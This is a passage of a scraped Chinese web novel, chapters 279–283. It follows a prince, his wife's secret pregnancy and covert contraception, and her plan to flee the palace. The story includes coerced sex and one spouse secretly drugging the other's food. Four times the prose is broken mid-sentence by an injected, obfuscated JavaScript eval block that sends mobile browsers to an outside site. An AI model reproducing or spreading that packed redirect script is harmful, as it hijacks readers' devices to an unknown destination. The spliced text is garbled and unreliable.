当听到下人通报王爷驾到时,她脸上的惊惶瞬间被狂喜所取代。 她满心欢喜地迎出去,以为自己的投诚终于换来了回报。 然而,她还没来得及屈膝行礼,就对上了一双淬了冰的眸子。 萧凌川神色阴冷,周身散发着骇人的戾气,仿佛从地狱归来的修罗。 “谁给你的胆子,去找王妃的?” 第279章 他的无名怒火 第二百七十九章他的无名怒火 赵若晚没想到他是专程来兴师问罪,愣在原地,嘴唇颤抖,半晌才挤出句话:“王爷,妾……妾身只是想为您做道菜……” “就凭你,也配给本王做菜?”萧凌川冷哼,眼神如利刃刮过她脸庞,杀气毫不掩饰,“本王警告你,再敢靠近王妃半步,别怪本王不客气!” 赵若晚心头一紧,慌忙跪下,声音带着哭腔:“王爷息怒!妾身娘家愿助王爷一臂之力,只要您点头,他们定当成为您夺权的坚强后盾!” “后盾?”萧凌川嘴角扯出一抹冷笑,眼底尽是鄙夷。 他想起前世雍王母族那副丑恶嘴脸,为了巴结瑞王,不惜陷害他,暗杀他,手段卑劣至极,不由心生厌恶。 这样的人,也配当他的后盾? “回去告诉雍王,让他别痴心妄想!”他声音低沉,字字如刀,“只要本王在一天,京城就没他的立足之地!” 丢下这话,萧凌川甩袖离去,背影冷硬如冰。 赵若晚瘫坐地上,脸白得像纸,眼中却燃起一团阴毒火焰。 “该死……”她咬紧牙关,嘴里低声咒骂,“姜姝宁,我这般卑微地求你,你不帮我就算了,还害我被王爷责骂!**,这笔账,我迟早要跟你清算!” 寝殿内,姜姝宁刚放下灯盏,准备入睡。 门“砰”一声被推开,萧凌川大步闯入,眼中怒火熊熊。 她还没反应过来,整个人已被他狠狠压在床榻上。 他的手掌如铁钳,死死扣住她肩头,力道大得几乎要捏碎她骨头。 “说!把本王引去别的女人那,你到底想做什么?”他低吼,声音沙哑,像是从喉咙深处挤出。 一想到她竟主动将自己推向别的女人,萧凌川便怒火中烧。 可见她心里根本没有他! 姜姝宁皱眉,挣扎着想坐起,语气中满是不解:“王爷不是去见赵侧妃了吗?她没跟你说清楚?” 她一头雾水。 赵家想和他结盟,这难道不是好事? 他为何气成这样? 萧凌川眼眸眯起,怒意更甚:“引本王去见别的女人,你还有理了?看来王妃还没搞清楚自己身份!” 话音未落,他手已探向她腰间,粗暴扯开她衣衫。 姜姝宁一惊,心跳骤然加速。 这几日,为了消耗他那过于旺盛的精力,好让自己能睡个好觉,她一直在他的饭菜里悄悄放了些安神的草药。 她做得极为谨慎,生怕被他察觉。 那些草药药性温和,被她分别放置在不同的菜肴里,需要一同服用数道菜肴,药效才会生效。 可今夜,他在餐桌上听她提起赵若晚之后,便明显心不在焉,没什么胃口,匆匆用了几口就停了箸。 他漏吃了几道关键的菜,以至于那安神药,根本起不了作用。 这个男人,本就是极其重欲之人。 重生之后,比起前世的粗暴,在床笫之事上虽说温和了许多,那股兴致却是有增无减。 随着萧凌川的动作越来越肆无忌惮,寝衣的系带被他粗鲁地扯开,微凉的空气争先恐后地涌进来,激起她一阵战栗。 姜姝宁知道,今夜是逃不掉了。 她双手抵在他坚实的胸膛前,眉头微蹙:“王爷,你别这样……我难受……” 他抱得太紧了,像一张密不透风的网,勒得她快要喘不过气来。 明明已是初夏,夜里带着一丝凉意,可他整个人却像一团熊熊燃烧的烈火,浑身滚烫,那热度透过薄薄的衣衫传递过来,像是要将她整个人都焚烧殆尽,让她避之不及。 萧凌川的动作蓦地一顿。 他低头看着她,昏暗的光线下,她秀眉紧蹙,眼中水光潋滟,平添了几分平日里没有的柔弱与妩媚。 他眼中的怒火渐渐被另一种更深沉、更原始的火焰所取代。 他俯下身,滚烫的呼吸喷洒在她的耳畔,动作竟真的变得轻缓起来,甚至带上了一丝安抚的意味。 “放心,”他的声音喑哑,带着一种奇异的蛊惑,“本王……一定让王妃好受些……” 姜姝宁瞬间意识到他误会了什么。 可他根本没有给她任何解释的机会,滚烫的吻已经铺天盖地落下,堵住了她所有未尽的言语…… 折腾到大半夜,萧凌川才餍足,抱着她沉沉睡去。 姜姝宁也累极了,在他怀里找个舒服的姿势,阖上眼眸睡着了。 第二日,姜姝宁一睁眼,便瞧见他端坐在床畔,静静凝视着自己。 她吓了一跳,猛地坐起身,惊呼道:“王爷?!” “怎么了?怎么跟见了鬼似的。”萧凌川轻笑出声,桃花眸中蓄满宠溺,“睡够了便起来用午膳吧。” 午膳? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16148068|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姜姝宁面颊一热,羞窘不已,自己竟一觉睡到了正午! “王爷,您下午……可要出门?”她试探地问道。 “不出去,今日便留在府中陪你。怎么了?”萧凌川挑眉,目光中带着几分探究。 这下糟了。 姜姝宁心中暗叫不妙。 平日里,她总是趁萧凌川上朝之时,偷偷让凌芜为自己熬煮避子汤。 可若他今日不出门,凌芜又怎么熬药? 避子药若错过服用的时辰,恐会酿成无法挽回的意外! 正苦恼之际,凌芜却端着一碗汤药走了进来,恭敬道:“王妃,该喝药了。” 姜姝宁心头一惊,脸色骤变,正欲开口掩饰,萧凌川先她一步问道:“什么药?王妃可是生病了?” 凌芜不慌不忙地答道:“回王爷,这是进补的汤药。王妃气血不足,需得好好调养。” 萧凌川点了点头,目光转向姜姝宁,意味深长地打量着她:“你身子太弱,的确该好好补补了。” 说罢,他起身离去,留凌芜在旁伺候她服药。 待萧凌川的身影消失在门外,姜姝宁压低声音,对凌芜嗔怪道:“吓死我了,差点就被他发现了!你怎能如此堂而皇之地将药端进来?” 凌芜吐了吐舌头,俏皮一笑:“王爷又不知女子服用的避子汤是何模样,奴婢说什么便是什麽,他怎会起疑?” 姜姝宁想想也有道理,嗔怪道:“下次定要谨慎些,千万别让王爷察觉了端倪。” 她太了解萧凌川了。 此人最擅拿捏人心,若知晓有个孩子能将她牢牢绑在他身边,他定会毫不犹豫地让她怀上他的骨肉。 若被他发现她在暗中服用避子药,必定会勃然大怒,后果不堪设想。 “奴婢知晓了。”凌芜忙低头应下,神色恭谨。 凌芜伺候她喝完药,端着空碗退了出去。 她并未直接回院,而是径直前往书房,觐见萧凌川。 萧凌川低声交代道:“王妃的月信就在这几日,你仔细留意着,若未见癸水,务必及时禀告本王!” “是,王爷。”凌芜低头应道,脸颊却不自觉地泛起一抹红晕。 她心中暗自感慨,王爷对王妃真是上心,竟连她的月信之期都记得如此清楚。 真希望王妃快点怀上小世子,这样王府便热闹了! 第280章 是喜脉! 第二百八十章是喜脉! 姜姝宁的癸水向来准时。 然而,这个月的日子已到,腹中却没有传来那熟悉的坠痛之感,反而整日犯困,总是睡不够,疲惫得仿佛骨头都软了几分。 一种说不清道不明的预感,如藤蔓般悄然缠上她的心头,越收越紧,勒得她几乎透不过气来。 她坐在窗畔,颤抖着伸出另一只手,三根手指小心翼翼地搭了上去。 指尖触及肌肤的那一瞬,她尚抱着一丝侥幸,盼着自己只是多虑。 然而,当那异样的脉象透过指腹清晰传来时,她的整个世界仿佛天崩地裂。 如珠走盘,脉象分明。 是喜脉! “轰”的一声,她脑中炸开一片空白,整个人如遭雷击,僵坐原地,许久都回不过神来。 怎么可能? 她明明……每一次事后都按时服下避子汤,一碗也未曾落下! 一个令人毛骨悚然的念头骤然袭上心头,让她脊背发寒。 难道……她日日喝下的,根本不是避子汤? 是开药的大夫出了问题,还是……凌芜本身有问题? 这个猜测如利刃般刺入她的心口,让她猛地一缩,几乎喘不过气来。 她必须弄清楚真相。 这日午后,凌芜照旧端着那碗深褐色的汤药进来。 “王妃,药来了,您趁热喝。” 姜姝宁抬眸看她,脸上神色未动,心中却已是惊涛骇浪。 她接过温热的药碗,浅啜一口,那熟悉的苦味在舌尖蔓延开来,她佯装不经意,随口问道:“凌芜,这药你是从京城哪个大夫那儿求来的?” 凌芜的身形明显一顿,但她很快恢复了镇定,含糊道:“就是……就是城南那条偏僻巷子里的一家药铺,奴婢也是听人说的。” “哦?是永和街的刘大夫吗?”姜姝宁声音平淡,仿佛只是随口一猜。 凌芜连忙点头,笑得格外灿烂:“对对对!就是刘大夫!王妃,您快趁热喝吧,凉了药性就差了。” 那一声声急切的“对”,像一把把淬了冰的尖刀,狠狠扎进姜姝宁的心里。 她心中最后一点温度,也在这刻彻底熄灭,只剩下一片冰冷的废墟。 这药,果然有问题。 城南永和街根本没有药铺,更没有刘大夫。 她面无表情地将碗中剩下的药汁一饮而尽,苦涩的味道从喉咙一直蔓延到心底,可再苦,也苦不过被人背叛的滋味。 凌芜见她喝完,麻利地收走空碗,仔细地将碗底一点残渣都处理干净。 过去,姜姝宁只当她是怕萧凌川发现自己喝避子药,行事谨慎。 现在想来,她哪里是怕萧凌川发现,分明是怕自己察觉,她每日所喝的,根本就不是什么避子药! 心口像是被撕开一个大洞,冷风呼呼地往里灌。 难受了一阵子,那股尖锐的痛楚过去后,她竟又觉得有些可笑。 是了,她怎么又忘了。 当初,那个与她一同长大,被她视作亲姐妹的冬梅,不也被姜瑶真轻易收买,险些毁了她的清誉吗? 与冬梅十几年的情谊尚且如此不堪一击,又何况她与凌芜不过两年的主仆之情。 这座景王府,真正的掌控者是萧凌川。 凌芜选择为他所用,不过是人之常情,无可厚非。 良禽择木而栖,谁不为自己谋求一条更好的出路呢? 她不怪凌芜,只是从此再也无法信任她。 眼下,最紧要的是,绝不能让凌芜或是府中任何一人知晓她已怀有身孕。 尤其是——萧凌川! 夜幕降临,萧凌川如往常一般,情难自禁地吻上她的唇,试图与她共赴巫山云雨,却被她轻轻推开。 “王爷,我来癸水了。” 萧凌川动作一滞,深邃的桃花眼中闪过一抹显而易见的失望:“哦,来癸水了?” 他心中暗自纳闷,夜夜与她缠(绵)不休,甚至还特意命人给她调理身子的汤药,可为何至今仍未见她怀上子嗣? 莫非……问题出在自己身上? 想到这,他神色有些阴沉。 不行,此事绝不能拖延,定要找孙神医前来诊脉,查个究竟。 他故作随意地开口道:“明日让孙神医来一趟,给你瞧瞧身子。” 姜姝宁心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16148069|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头一紧,面上却不动声色,试探着问:“我好端端的,为何要让孙神医来看?” 萧凌川心想,总不能直言他是想让孙神医为自己诊脉吧? 于是,他不动声色地掩饰道:“你身子太弱,每每房事后便疲惫不堪,本王担心长期下去,你的身子撑不住。” 姜姝宁:“……” 她无言以对,心中却腹诽不已,怎不说他自己欲念过重,才是她不堪重负的根本原因? 以他这索取的频率与强度,换谁来只怕都难以承受。 看来,往后还得给他多配些安神汤才是,免得他夜夜起折腾的心思。 第二日,孙神医果然来景王府。 他先前往书房为萧凌川诊脉,仔细探查后,恭敬禀告:“王爷身体健壮,毫无隐患。王妃怀上子嗣,只是迟早的事。” 萧凌川闻言,心头悬着的大石终于落地。 他亲自陪同孙神医前往寝殿,为姜姝宁诊脉。 见到孙神医步入殿内,姜姝宁神色微微一僵,但旋即恢复如常,面上不露半分异样。 她伸出手腕,神色平静地让孙神医为她把脉。 孙神医凝神细诊片刻,抬头对姜姝宁说道:“王妃身子确有些虚弱,老夫会开几副补气血的方子,望王妃按时服用,切勿怠慢。” “有劳孙神医了。”姜姝宁轻声应道,心中却暗暗松了一口气。 她早前依仗医术中的法门,用银针对自己的脉象做了手脚,果不其然,孙神医并未察觉她已身怀有孕。 一旁的萧凌川却仍不死心,压低声音询问孙神医:“王妃当真只是身子虚弱?你未诊出其他脉象?” 孙神医捋了捋花白胡须,含笑宽慰道:“王爷无需过于心急,您与王妃皆是身体康健之人,相信好消息不日便至!” 萧凌川闻言,脸色由阴转晴,眉宇间浮现几分欣慰。 而姜姝宁却悄然别过脸去,遮掩住眼底汹涌而复杂的情绪。 他果然一心盼着她怀上子嗣。 只可惜,她绝不会遂他的愿。 前世,他亲手剥夺了她为人母的资格。 这一世,他休想成为她腹中孩儿的父亲! 第281章 天赐良机 第二百八十一章天赐良机 孙神医和萧凌川离开后,姜姝宁走到窗边,推开了那扇雕花木窗。 院子里,她亲手开辟的那一小块药圃,在初夏夕阳下泛着温润的光泽。 几株寻常的草药长势喜人,夹杂在其中的,还有一株不起眼的、叶片细长的植物。 那就是她为自己准备的“往生草”。 前世,她被困在景王府的第八个年头,无意间从一个出府采买的婆子口中,听了一桩京城奇闻。 城西有个贫家女子,素有癫痫之症,需常年服药。 一日,她上山采野菜,误食了一种野草,回家后便身子日渐虚弱,最后竟断了气。 家人悲痛欲绝,可家中实在贫寒,连一口薄皮棺材的钱都凑不齐,只得将她的“尸身”停在家中,四处奔走借钱。 谁料,停灵的第七日,那女子竟悠悠转醒,死而复生。 后来有懂行的大夫一瞧,才道出原委。 那女子常服的汤药,与那野草的药性相冲,这才造成了假死之相,脉搏心跳俱停,七日后药效自解,便能复苏。 说者无心,听者有意。 姜姝宁将此事牢牢记在了心底。 她知道,除非她死,否则萧凌川那偏执的疯子,绝不会放她离开。 于是,她托人寻来了那草药的种子,小心翼翼地种在自己的药圃里,还特意栽了些别的草药作掩护。 她甚至模拟了那癫痫女子的汤药,配出了能与“往生草”相合的药方。 这个秘密,天知地知,她知。 那桩奇闻若会发生,也是在六年之后,孙神医自然不可能提前知晓。 而萧凌川,他前世满心满眼都是皇权霸业,又怎会去关注一个平头百姓家的生死怪谈? 只要她服下药,孙神医来了,也只能诊出她已油尽灯枯,回天乏术。 届时萧凌川也拿她没辙。 一切都计划得天衣无缝。 可如今,所有的盘算,都成了一场空。 姜姝宁手轻轻覆上自己平坦的小腹。 这里,正孕育着一个小生命。 那假死的汤药药性霸道,她自己尚且要冒着九死一生的风险,又怎能让这个无辜的孩子陪她一起赌命? 万一这药伤了孩子,她就算能逃出生天,余生也只会在无尽的悔恨中度过。 她不能赌。 更让她绝望的是,她唯一的后援,也断了。 她本打算让凌芜在她“死”后,守着她的“尸身”,想办法在七日之内将她运出王府。 可现在,凌芜被收买了。 她的心腹,成了萧凌川的眼线。 她身边,竟连一个可以相信的人都没有了。 假死之路被堵死,身边之人不可信。 如今,只有一条路可以走。 那便是求助于崔芝兰。 这是她眼下唯一的选择,却也是一步险棋。 姜姝宁深知,行差踏错一步,便是万劫不复。 她寻了个由头,将柳叶唤到跟前,压低声音嘱咐了几句。 柳叶领命去了。 午后,柳叶悄悄递来一张字条,上面只有一个时间,一个地点。 是崔芝兰的回信。 第二日萧凌川上朝后,姜姝宁避开所有人的耳目,独自一人来到了后花园那座熟悉的假山后。 崔芝兰早就在那儿等着了,她一见姜姝宁,眼睛里就迸发出压抑不住的光彩,几步上前就抓住了姜姝宁的手腕。 “姜姑娘,你怎么突然想通了?”她的声音里满是激动,甚至带着一丝不易察觉的埋怨,“我早就跟你说,靠你自己是出不去的!你之前不肯接受我和表哥的帮助,可把我给气坏了!” “此事……说来话长。”姜姝宁含糊地带过,不想多做解释,直接切入了正题,“我只是想问问,崔侧妃可有什么好法子,能将我……送出府去?” “当然有,眼下就有一个现成的!”崔芝兰立刻来了精神,“我跟王爷说要回门省亲,如今崔家于他还有利用价值,他肯定会答应的。到时候,你就扮成我的样子,坐上回崔府的轿子。表哥会在崔府门口候着,他会亲自把轿子拦下,然后就神不知鬼不觉地把你带走!” 这个计划听起来大胆又直接。 姜姝宁心头一跳,几乎是立刻就反驳:“不行!这太冒险了!要是王爷回来,发现是你帮我逃走的,他会迁怒于你的!” “他发现不了的。”崔芝兰眨了眨眼,“你没听说西榆剿匪的事吗?” 她不等姜姝宁回答,便自顾自地说了下去,“镇国将军长子王启,不知天高地厚,非要去剿匪立功,结果被人家当成(人)质给抓了!听说那伙匪徒还是西洲人,棘手得很。现在镇国将军急得跟热锅上的蚂蚁似的,天天上蹿下跳。陛下没办法,只能派王爷亲自去一趟,把那烂摊子收拾了,顺便把王启给捞回来。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16157143|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 王爷这几日就要出征!你想想,等他出了京城,你再离府,等他回来,你早就和表哥远走高飞了!只要你顺利脱身,表哥就会派人来接应我,我们两个,都能平平安安地离开这里!” 姜姝宁的心脏,不受控制地剧烈跳动起来。 萧凌川要出征? 这简直是天赐良机。 她一直被困在这座牢笼里,看不见一丝光亮,而现在,崔芝兰的话仿佛一把利刃,硬生生在她密不透风的世界里劈开了一道缝隙。 “当真……能行?”她的声音带着一丝自己都未察觉的颤抖。 “放心吧!有我表哥安排,妥当得很!”崔芝兰再次握住她的手,这次的力道更重,也更热切,“姜姑娘,你听我的!到时候,天高海阔,任你跟表哥双宿**,再也没人能拘着你了!” “你和表哥好好过日子!” 这句话像一根细小的针,猝不及防地刺进了姜姝宁的心里。 她的脸上掠过一丝极其不自然的僵硬。 她如今怀着萧凌川的孩子,又怎么可能心安理得地去和萧怀瑾开始新的生活? 这对萧怀瑾太不公平。 她欠他的人情,怕是这辈子都还不清了,只能用别的方式来报答。 压下心头翻涌的复杂思绪,她抬起头,神色恢复了镇定:“那好。我这几日会留意王爷那边的动静,一有他出征的确切消息,我立刻告诉你。你好安排回门的时间。” 她顿了顿,语气变得格外凝重,“还有一件事,你务必小心。我身边的婢女凌芜,已经被王爷收买了。以后你让柳叶给我递消息,千万要避开她!” 崔芝兰吃了一惊,随即脸上露出同情的神色:“你放心,我会注意的!” 两人又凑在一起,将计划的细节反复推敲了一遍,这才各自散去。 她们谁都没有发现,就在不远处一丛茂密的树丛后,一双淬了毒的眼睛,将这一切都看得清清楚楚。 赵若晚缓缓直起身子,用丝帕轻轻按了按嘴角,脸上浮起一丝阴冷而扭曲的笑意。 原来姜姝宁那个**,竟然和宁王殿下有私情。 真是有意思。 若是让萧凌川知道,他放在心尖上疼宠的女人,和他的五弟勾搭在一起,甚至还密谋着要私奔…… 赵若晚几乎能想象到萧凌川那张俊美无俦的脸会变得何等狰狞。 那场面,一定比任何好戏都要精彩。 第282章 自由近在咫尺 第二百八十二章自由近在咫尺 姜姝宁回到寝殿,便看见萧凌川正坐在窗边的软榻上,手里拿着一块软布,慢条斯理地擦拭着他那柄从不离身的佩剑。 剑身寒光凛冽,映着他专注而冷峻的侧脸,无端让人心头发紧。 她敛了敛心神,走上前去,主动打招呼:“王爷。” 萧凌川“嗯”了一声,眼皮都未抬一下。 姜姝宁在他对面坐下,指尖在袖中无意识地蜷缩。 她盯着那柄能轻易取人性命的利剑,状似不经意地提起:“王爷,之前在府里安插死士,想要……毁我清白的王启,您打算如何处置?” 萧凌川擦拭的动作停顿了一下。 他抬起头,那双深不见底的黑眸终于看向了她。 “王启?”他扯了扯嘴角,那笑意却半分也未达眼底,“本王给了他一个为国尽忠的机会,特意送他去了西榆。镇国将军还当真以为西榆匪患是萧修湛藏匿的私兵所为,殊不知,那不过是本王用金银珠宝引出来的一群西洲**罢了。 镇西军与西洲国勾结多年,收了好处便对那些匪徒在西榆烧杀抢掠视而不见,如今,报应总算轮到他们自己头上了。 王启一到西榆便一头栽进了匪巢,如今已被那群西洲匪徒扣押。听闻他细皮嫩(肉),生得一副小白脸模样,被那群不分男女的匪徒……当成了玩物。” 最后几个字,他说得又轻又慢,仿佛在细细品味其中蕴含的快意。 姜姝宁听着他所言,心中隐隐泛起一丝不安。 她试探着开口:“那……王爷可有打算去救他?” 萧凌川没有即刻作答,只是定定地凝视着她。 那目光炽(热)而锐利,似要将她的皮肉烧穿,直探她灵魂的最深处。 他忽然倾身向前,骤然拉近两人之间的距离,一字一句地反问道:“王妃希望本王去吗?” 他的气息喷洒在她的面上,夹杂着淡淡的檀香和一丝金属般的冷冽,令人心悸。 姜姝宁心跳猛地漏了一拍,强烈的危机感如寒冰般刺入骨髓,让她瞬间清醒过来。 她绝不能让他看出破绽! 她转头避开他逼人的视线,佯装出一副满不在乎的口吻,淡然道:“这种事,还是由王爷自行决断吧。” 萧凌川直直地盯着她,目光如刀般审视了半晌,才缓缓坐回原位,脸上的压迫感随之消散。 “本王自然是要去的。”他的声音恢复了一贯的冷漠,平静中透着不容置疑的决然,“一来,这是个难得的机会,若此行剿匪成功,西榆的部分兵权便能落入本王之手,对日后大计大有助益。二来……” 他略微顿了顿,眼底闪过一抹森冷的狠戾,“王启那般处心积虑地算计于你,若不亲眼见证他被千刀万剐,本王如何能安心?” 姜姝宁闻言,一股巨大的狂喜如潮水般席卷而来,几乎要将她淹没。 她险些控制不住上扬的嘴角,只能暗中死死掐住自己的掌心,用尖锐的痛感强迫自己维持表面的平静。 “所以,王爷……您要亲赴西征?”她的声音中不自觉地夹杂着一丝急切的颤抖,连她自己都未曾察觉。 “是。”萧凌川回答得干脆利落,然而下一句话却如一盆刺骨的冰水,兜头浇下,浇灭了她所有的希冀,“但本王放心不下你。因此,本王打算带你一同前往。” “什么?”姜姝宁脸上的镇定瞬间龟裂,震惊与慌乱难以掩饰。 跟着他一同西征,那她还如何寻机逃离? 就算暂不逃走,她如今身怀有孕,又怎能经受长途跋涉的颠簸与西榆那恶劣的风沙之苦? “王爷,我不想去。”她几乎是脱口而出,“我听闻西榆之地,气候干燥,常年黄沙漫天,条件艰苦。如今正是暑热天气,怕是更加难熬。我……我身子弱,怕是吃不消的。” 她并未察觉,这番言辞与先前信誓旦旦要前往西榆行医的说辞何等自相矛盾。 “可本王若离了王府,怕护不住你。”萧凌川神色晦暗不明,“毕竟,这府里,还有两个侧妃。” 天知道姜姝宁有多希望他赶紧从眼前消失,此刻不得不绞尽脑汁地向他保证自己在这王府里过得有多安全。 “王爷多虑了。之前您用雷霆手段处置了王侧妃和霍侧妃,杀鸡儆猴,想来府里其他侧妃们也不敢再对我放肆。她们若真还那般不知好歹,我……我定会让凌芜好好教训她们!绝不会让自己受了委屈!” 萧凌川只是不动声色地看着她,那双眼睛像两口深井,所有意味不明都藏在深处。 就在姜姝宁快要被他看得装不下去的时候,他终于开了口。 “也罢。”他淡淡道,“崔侧妃恰好这几日要回门省亲,府里便只剩下赵侧妃一人。谅她也不敢对你不利。” 姜姝宁心中那块悬着的巨石,终于轰然落地。 “是,王爷尽管放心。”她赶紧趁热打铁,生怕他下一秒就反悔,“此次西征,既能建功立业,又能手刃仇敌,于公于私都是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16157144|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天大的好事,王爷千万不要错失了良机。” 她的话音刚落,萧凌川那意味深长的视线又落了过来。 “王妃,”他缓缓开口,每个字都敲打在姜姝宁紧绷的神经上,“你好像……很希望本王离开?” 姜姝宁浑身的血液几乎都在瞬间凝固了。 “怎么会!我……只是希望那个陷害我的小人,能早日得到应有的报应!正如王爷方才所说,他心思如此歹毒,死不足惜!更何况,西洲多年来对我大邺虎视眈眈,王爷此去,也是为国除害,我自然是全力支持的!” 她一口气说了一长串,话说得冠冕堂皇,连自己都差点信了。 萧凌川听完,竟点了点头:“王妃说得对。那本王,便去西征。” 姜姝宁暗中长长地舒了一口气,紧绷的后背终于敢稍稍放松。 她垂下眼帘,掩去眸中的喜色,低声道:“预祝王爷此行顺利,凯旋而归。” 她不知道,在她低头的那一刻,萧凌川的眼中,一抹阴鸷如寒冰般一闪而过。 萧凌川西征的前夜,姜姝宁依旧亲手烹制了几道菜肴,暗中在其中几道菜里掺入了安神药,盼着他能早些歇息。 然而,萧凌川却吃得心不在焉,神思游离,竟未将下了药的菜肴尽数用完。 夜色渐深,他兴致高昂地拥她入怀,眼中的情(欲)一览无遗。 姜姝宁无奈,只得咬紧牙关,迎合他的热情。 她心中暗自宽慰自己,只需熬过今夜,自由便近在咫尺。 这一夜,萧凌川格外温柔缱绻,情到浓时,气息低哑地在她耳畔轻问:“王妃何时才能放下前世恩怨,与本王长相厮守?” 姜姝宁香汗淋漓,身子疲惫得几乎支撑不住,心中更是酸楚难言,哪有心思回应他的深情,只低声催促道:“王爷……好了吗?……我实在难受……” 萧凌川闻言一怔,只得无奈放缓动作,小心翼翼地顾着她的感受,尽量让她好受些。 “近来怎么总说难受?”事后,他侧躺在她身旁,语气中带着几分挫败与不解,低声呢喃道,“难道是本王哪里做得不好?” 半晌,姜姝宁未发一言。 他侧头看去,却发现她已沉沉睡去,眉心微蹙,似乎连梦中也不得安宁。 萧凌川盯着她苍白的侧颜,心中莫名一紧,隐隐觉得有何处不对,却又说不上来。 他轻抚着她的脸颊,良久,才幽幽开口:“明日……但愿你莫要做出让本王失望的事。” 第283章 强烈的不真实感 第二百八十三章强烈的不真实感 天光未亮,晨雾微凉。 萧凌川一身戎装,冰冷的甲胄反射着窗外熹微的光。 他站在床边,静静地凝视着姜姝宁熟睡的侧颜,忍不住俯下身,用粗粝的指腹拂过她的脸颊。 “等本王回来。”他声音压得极低,仿佛怕惊扰了她的梦。 他最后看了她一眼,转身大步离去,门外传来他低沉的吩咐:“王妃累了,不必叫醒她。” 脚步声渐行渐远,直至彻底消失在清晨的寂静里。 床上的人倏地睁开了眼睛。 那双眸子里没有半分睡意,清明得像一汪寒潭。 姜姝宁侧耳听着外面的动静,确认他真的走了,才猛地坐起身。 没有片刻迟疑,她迅速从床底拖出一个早已备好的小包袱,利落地换上一套粗布婢女衣衫,接着把长发随意挽成一个髻,毫不留恋地翻身越窗而出。 柳叶已在约定的回廊拐角处焦急地等着,见她出来,连忙迎上去。 两人交换了一个眼神,一言不发,朝着崔芝兰的藏锦阁快步走去。 “站住!” 一声娇喝如平地惊雷,炸得姜姝宁心头一跳。 她猛地停住脚步,头垂得更低,几乎要埋进胸口。 不远处,赵若晚正领着几个丫鬟袅袅而来。 她今日打扮得格外明艳动人,一支金步摇在鬓边流光溢彩,衬得那张俏脸容光焕发,显然是精心打扮过。 姜姝宁心里咯噔一下,暗骂自己倒霉。 这女人怎么起得这么早? 王府这么大,怎么偏偏就撞上了她! “见过赵侧妃!”柳叶反应极快,立刻屈膝行礼,身子不动声色地挡在了姜姝宁面前。 姜姝宁也连忙跟着福身,大气都不敢出。 赵若晚的目光像淬了毒的钉子,越过柳叶,死死地钉在姜姝宁身上。 “抬起头来。”她的声音带着不容置喙的命令,“这是谁?瞧着身形,怎么这么眼熟?” 姜姝宁的心提到了嗓子眼,指甲深深掐进掌心。 “回赵侧妃,”柳叶的声音沉稳依旧,听不出一丝慌乱,“这是崔侧妃娘家的婢女,今日一早过来,是奉了崔家夫人的命,来接崔侧妃回门省亲的。” “回门?”赵若晚挑了挑眉,发出一声嗤笑,“崔侧妃可真是好兴致。王爷今日出征这么大的事儿,她躲在屋里不露面,反倒巴巴地等着回娘家。怎么,这是彻底不打算要王爷的宠爱了?” 姜姝宁忍不住想,难怪她那么早起,原来是去送萧凌川了。 这王府里,恐怕也只有赵若晚还试图得到他的宠爱。 就在这时,崔芝兰的声音从不远处传来,温婉柔和:“姐姐说笑了。妹妹自知蒲柳之姿,如何能与姐姐这般国色天香相比?既争不过,也就不想了,倒不如安分守己,还能落个清净。” 她缓步走来,对着赵若晚微微一笑。 赵若晚被她这话噎了一下,想发作又找不到由头,最终只能冷哼一声:“算你有自知之明!” 她带着丫鬟,趾高气扬地从她们身边走过。 在经过姜姝宁身侧时,她脚步微顿,那阴鸷的余光像条毒蛇,从姜姝宁的头顶一直刮到脚底。 直到赵若晚的身影彻底消失在回廊尽头,崔芝兰才松了口气,一把拉住姜姝宁的手腕,快步将她拖进自己的屋里。 “快!回崔府的马车已经备在侧门了,你换上我的衣衫,戴上帷帽,带着我的贴身婢女秋月就能出府!”崔芝兰语速飞快,脸上满是紧张。 “那你呢?”姜姝宁看着她,心中涌起一阵担忧。 “我?”崔芝兰笑了笑,那笑容里带着对自由的无限向往,“我就躲在屋里,安心等表哥的人来接应我。你呢?凌芜支开了吗?” 